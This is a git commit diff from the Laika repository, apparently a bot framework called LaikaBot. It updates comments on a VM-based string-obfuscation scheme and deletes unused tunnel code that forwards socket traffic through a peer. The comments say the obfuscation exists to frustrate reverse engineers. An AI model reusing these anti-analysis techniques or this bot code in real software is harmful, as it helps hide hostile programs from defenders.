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https://github.com/CPunch/Laika.git
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misc. refactoring, updated comments and minor documentation
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@ -30,7 +30,7 @@ target_compile_definitions(LaikaBot PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
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# add include directory
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target_include_directories(LaikaBot PUBLIC ${BOT_INCLUDEDIR})
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# strip symbols for POSIX-like binaries
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# strip symbols for UNIX binaries
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if((UNIX AND NOT APPLE) AND NOT RAWCMAKEBUILDTYPE STREQUAL "debug")
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message(STATUS "Stripping LaikaBot symbols...")
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target_link_options(LaikaBot PRIVATE -s)
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@ -1,8 +1 @@
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There are some unused features and boilerplate. The unused files include:
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- ltunnel.h
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- ltunnel.c
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- lbox.h
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- lvm.h
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- lvm.c
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These files can be safely removed from the library.
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-- stubbed, see CONTRIBUTING.md for notes on the library
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@ -25,10 +25,11 @@ enum {
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2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to make it more painful
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for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable.
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Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string
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dumping. Some predefined boxes are made for you to use.
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dumping. These apis, while can be used directly, are abstracted through macros with the pre-built boxes.
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Use LAIKA_BOX_STARTVAR & LAIKA_BOX_ENDVAR for quick and dirty usage. The data macros in `lboxconfig.h` are passed
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to these, which are generated by VMBoxGen (`tools/vmboxgen`).
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Use LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END for quick and dirty usage. The data macros in `lboxconfig.h` are passed
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to these, which are generated by VMBoxGen (`tools/vmboxgen`). This will be extended in the future with more boxes and such,
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however for the time being only LAIKA_BOX_SKID_* is implemented.
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*/
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struct sLaikaB_box {
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@ -62,7 +63,7 @@ struct sLaikaB_box {
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/* ==============================================[[ Laika Boxes ]]=============================================== */
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/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol [SEE tools/vmtest/src/main.c] */
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/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
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#define LAIKA_BOX_SKID(_key) { \
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.unlockedData = {0}, /* reserved */ \
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.code = { /* stack layout: \
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@ -110,7 +111,7 @@ LAIKA_FORCEINLINE void* laikaB_lock(struct sLaikaB_box *box) {
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sodium_memzero(box->unlockedData, LAIKA_BOX_HEAPSIZE);
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sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
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}
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/* include KEY_* & DATA_* macros for each obfuscated string */
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#include "lboxconfig.h"
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#endif
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@ -39,7 +39,6 @@ struct sLaika_peerPacketInfo {
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bool variadic;
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};
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#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) [ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC}
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struct sLaika_peer {
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@ -1,34 +0,0 @@
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#ifndef SHELLTUNNEL_H
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#define SHELLTUNNEL_H
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#include <inttypes.h>
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#include "lmem.h"
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#include "lsocket.h"
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#include "lpeer.h"
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#include "lpolllist.h"
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struct sLaika_tunnel;
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struct sLaika_tunnelConnection {
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struct sLaika_socket sock;
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struct sLaika_tunnel *tunnel;
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struct sLaika_tunnelConnection *next;
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uint16_t id;
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};
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struct sLaika_tunnel {
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struct sLaika_tunnelConnection *connectionHead;
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struct sLaika_peer *peer;
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uint16_t port;
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};
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struct sLaika_tunnel *laikaT_newTunnel(struct sLaika_peer *peer, uint16_t port);
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void laikaT_freeTunnel(struct sLaika_tunnel *tunnel);
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struct sLaika_tunnelConnection *laikaT_newConnection(struct sLaika_tunnel *tunnel, uint16_t id);
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void laikaT_freeConnection(struct sLaika_tunnelConnection *connection);
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void laikaT_forwardData(struct sLaika_tunnelConnection *connection, struct sLaika_pollList *pList, void *data, size_t sz);
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struct sLaika_tunnelConnection *laikaT_getConnection(struct sLaika_tunnel *tunnel, uint16_t id);
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#endif
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@ -1,170 +0,0 @@
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#include "lmem.h"
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#include "lpeer.h"
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#include "lpacket.h"
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#include "lpolllist.h"
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#include "ltunnel.h"
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struct sLaika_tunnel *laikaT_newTunnel(struct sLaika_peer *peer, uint16_t port) {
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struct sLaika_tunnel *tunnel = (struct sLaika_tunnel*)laikaM_malloc(sizeof(struct sLaika_tunnel));
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tunnel->port = port;
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tunnel->peer = peer;
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tunnel->connectionHead = NULL;
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}
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void laikaT_freeTunnel(struct sLaika_tunnel *tunnel) {
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struct sLaika_tunnelConnection *con = tunnel->connectionHead, *last;
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struct sLaika_socket *sock = &tunnel->peer->sock;
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/* free & close connections */
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while (con != NULL) {
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last = con;
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con = con->next;
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/* free connection */
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laikaT_freeConnection(last);
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}
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/* tell peer tunnel is closed */
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laikaS_startOutPacket(tunnel->peer, LAIKAPKT_TUNNEL_CLOSE);
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laikaS_writeInt(sock, &tunnel->port, sizeof(uint16_t));
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laikaS_endOutPacket(tunnel->peer);
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/* finally, free the tunnel */
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laikaM_free(tunnel);
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}
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bool laikaT_handlePeerIn(struct sLaika_socket *sock) {
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struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)sock;
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struct sLaika_tunnel *tunnel = con->tunnel;
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struct sLaika_peer *peer = tunnel->peer;
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int recvd;
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/* read data */
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switch (laikaS_rawRecv(&con->sock, LAIKA_MAX_PKTSIZE - (sizeof(uint16_t) + sizeof(uint16_t)), &recvd)) { /* - 4 since we need room in the packet for the id & port */
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case RAWSOCK_OK: /* we're ok! forward data to peer */
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laikaS_startVarPacket(peer, LAIKAPKT_TUNNEL_CONNECTION_DATA);
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laikaS_writeInt(&peer->sock, &tunnel->port, sizeof(uint16_t));
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laikaS_writeInt(&peer->sock, &con->id, sizeof(uint16_t));
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/* write data we just read, from sock's inBuf to sock's out */
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laikaS_write(&peer->sock, (void*)peer->sock.inBuf, recvd);
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laikaS_consumeRead(&peer->sock, recvd);
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/* end variadic packet */
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laikaS_endVarPacket(peer);
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default: /* panic! */
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case RAWSOCK_CLOSED:
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case RAWSOCK_ERROR:
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return false;
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}
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}
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bool laikaT_handlePeerOut(struct sLaika_socket *sock) {
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struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)sock;
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struct sLaika_peer *peer = con->tunnel->peer;
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int sent;
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if (peer->sock.outCount == 0) /* sanity check */
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return true;
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switch (laikaS_rawSend(&con->sock, con->sock.outCount, &sent)) {
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case RAWSOCK_OK: /* we're ok! */
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/* if POLLOUT was set, unset it */
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laikaP_rmvPollOut(peer->pList, &con->sock);
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return true;
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case RAWSOCK_POLL: /* we've been asked to set the POLLOUT flag */
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/* if POLLOUT wasn't set, set it so we'll be notified whenever the kernel has room :) */
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laikaP_addPollOut(peer->pList, &con->sock);
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return true;
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default: /* panic! */
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case RAWSOCK_CLOSED:
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case RAWSOCK_ERROR:
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return false;
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}
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}
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void laikaT_onPollFail(struct sLaika_socket *sock, void *uData) {
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struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)sock;
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/* kill connection on failure */
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laikaT_freeConnection(con);
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}
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struct sLaika_tunnelConnection *laikaT_newConnection(struct sLaika_tunnel *tunnel, uint16_t id) {
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struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)laikaM_malloc(sizeof(struct sLaika_tunnelConnection)), *last = NULL;
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/* we handle the socket events */
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laikaS_initSocket(&con->sock,
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laikaT_handlePeerIn,
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laikaT_handlePeerOut,
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laikaT_onPollFail,
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NULL
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);
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laikaS_setNonBlock(&con->sock);
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con->tunnel = tunnel;
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con->next = NULL;
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con->id = id;
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/* insert into connection list */
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if (tunnel->connectionHead == NULL) {
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tunnel->connectionHead = con;
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return con;
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} else {
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last = tunnel->connectionHead;
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tunnel->connectionHead = con;
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con->next = last;
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}
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}
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void laikaT_freeConnection(struct sLaika_tunnelConnection *connection) {
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struct sLaika_tunnel *tunnel = connection->tunnel;
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struct sLaika_tunnelConnection *curr, *last = NULL;
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curr = tunnel->connectionHead;
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/* while we haven't reached the end of the list & we haven't found our connection */
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while (curr && curr != connection) {
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last = curr;
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curr = curr->next;
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}
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if (last) {
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/* unlink from list */
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last->next = connection->next;
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} else { /* connectionHead was NULL, or connection *was* the connectionHead. */
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tunnel->connectionHead = connection->next;
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}
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/* tell peer connection is removed */
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laikaS_startOutPacket(tunnel->peer, LAIKAPKT_TUNNEL_CONNECTION_RMV);
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laikaS_writeInt(&tunnel->peer->sock, &tunnel->port, sizeof(uint16_t));
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laikaS_writeInt(&tunnel->peer->sock, &connection->id, sizeof(uint16_t));
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laikaS_endOutPacket(tunnel->peer);
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/* finally, free our connection */
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laikaS_kill(&connection->sock);
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}
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void laikaT_forwardData(struct sLaika_tunnelConnection *connection, struct sLaika_pollList *pList, void *data, size_t sz) {
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struct sLaika_tunnel *tunnel = connection->tunnel;
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/* write data to socket, push to pollList's out queue */
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laikaS_write(&connection->sock, data, sz);
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laikaP_pushOutQueue(pList, &connection->sock);
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}
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struct sLaika_tunnelConnection *laikaT_getConnection(struct sLaika_tunnel *tunnel, uint16_t id) {
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struct sLaika_tunnelConnection *curr = tunnel->connectionHead;
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/* search for the id in the linked list. curr->next is guaranteed to be NULL at the end of the list */
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while (curr && curr->id != id)
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curr = curr->next;
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/* returns NULL if not found, or the found connection :) */
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return curr;
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}
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